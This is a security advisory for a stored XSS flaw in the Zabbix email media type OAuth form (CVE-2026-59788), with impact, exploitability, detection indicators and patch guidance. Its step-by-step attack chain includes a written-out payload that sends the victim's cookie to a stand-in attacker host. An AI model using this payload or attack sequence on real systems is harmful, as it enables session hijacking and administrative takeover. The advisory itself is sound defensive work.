CVE-2026-59788: 
Zabbix Server vulnerability analysis and mitigation

CVE-2026-59788 is a stored Cross-Site Scripting (XSS) vulnerability in Zabbix's email media type OAuth configuration form. The Authorization endpoint value is passed to window.open() without validating the URL scheme, allowing a javascript: URL to execute arbitrary JavaScript in the browser of a Super Admin who grants OAuth consent. The vulnerability affects Zabbix versions 7.4.0 through 7.4.11, and was published on October 5, 2026. It carries a CVSS v4.0 base score of 5.7 (Medium) (Zabbix Bug Tracker, GitHub Advisory).

The root cause is improper neutralization of user-controllable input before it is used in a web page context (CWE-79 — Cross-Site Scripting). Specifically, the email media type OAuth form in Zabbix's frontend stores the Authorization endpoint URL and passes it directly to window.open() without validating that the URL scheme is http or https. An attacker with high privileges (e.g., an admin-level user who can create or import media type configurations) can craft a malicious import file containing a javascript: URL as the Authorization endpoint value. When a Super Admin subsequently opens the OAuth consent flow, the malicious JavaScript executes in their browser session (Zabbix Bug Tracker, GitHub Advisory).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the browser context of a Super Admin, enabling session hijacking, credential theft, or unauthorized administrative actions performed on behalf of the Super Admin. The vulnerability has high confidentiality impact on the vulnerable system (e.g., access to session tokens or sensitive configuration data) and low integrity impact, with no availability impact. Because the payload executes as the Super Admin, an attacker could potentially escalate their access or make unauthorized changes to the Zabbix configuration (Feedly, Zabbix Bug Tracker).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires the attacker to already hold high-privilege credentials sufficient to import media type configurations, and requires active user interaction from a Super Admin (opening the OAuth consent flow). The EPSS score is approximately 0.25%, indicating a low near-term exploitation probability (GitHub Advisory).

1. Gain privileged access: Obtain credentials for a Zabbix account with sufficient privileges to import media type configurations (e.g., an admin-level account).
2. Craft malicious import file: Create a Zabbix media type import file (XML or JSON format) that sets the OAuth Authorization endpoint field to a javascript: URL containing the desired payload, e.g., javascript:fetch('https://attacker.com/steal?c='+document.cookie).
3. Import the configuration: Log into the Zabbix frontend and import the crafted media type configuration file via the Administration > Media Types > Import function.
4. Wait for Super Admin interaction: The stored javascript: URL is triggered when a Super Admin opens the OAuth consent flow for the configured email media type, causing window.open() to execute the malicious JavaScript in their browser.
5. Achieve objective: The executed JavaScript runs in the Super Admin's browser session, enabling session token theft, credential harvesting, or performing unauthorized administrative actions on behalf of the Super Admin (Zabbix Bug Tracker, GitHub Advisory).

• Logs: Zabbix audit logs showing an import of a media type configuration by a non-Super Admin account, particularly if the imported configuration contains unusual or external Authorization endpoint URLs.
• Network: Unexpected outbound HTTP requests from the Zabbix frontend server or from administrator browsers to unknown external hosts shortly after a Super Admin interacts with the OAuth consent flow.
• Application: Zabbix media type configurations where the OAuth Authorization endpoint field contains a javascript: URI scheme rather than a valid http:// or https:// URL.
• Browser: Browser developer console errors or network requests to attacker-controlled domains triggered during the OAuth consent flow in the Zabbix frontend (Zabbix Bug Tracker).

Zabbix has released version 7.4.12 as the fixed release for affected versions 7.4.0–7.4.11; upgrading to 7.4.12 or later is the recommended remediation (Zabbix Bug Tracker). As a workaround, administrators should avoid importing media type configurations from untrusted sources. Additionally, implementing Content Security Policy (CSP) headers that restrict javascript: URL execution in the browser can reduce the attack surface until patching is feasible (Feedly).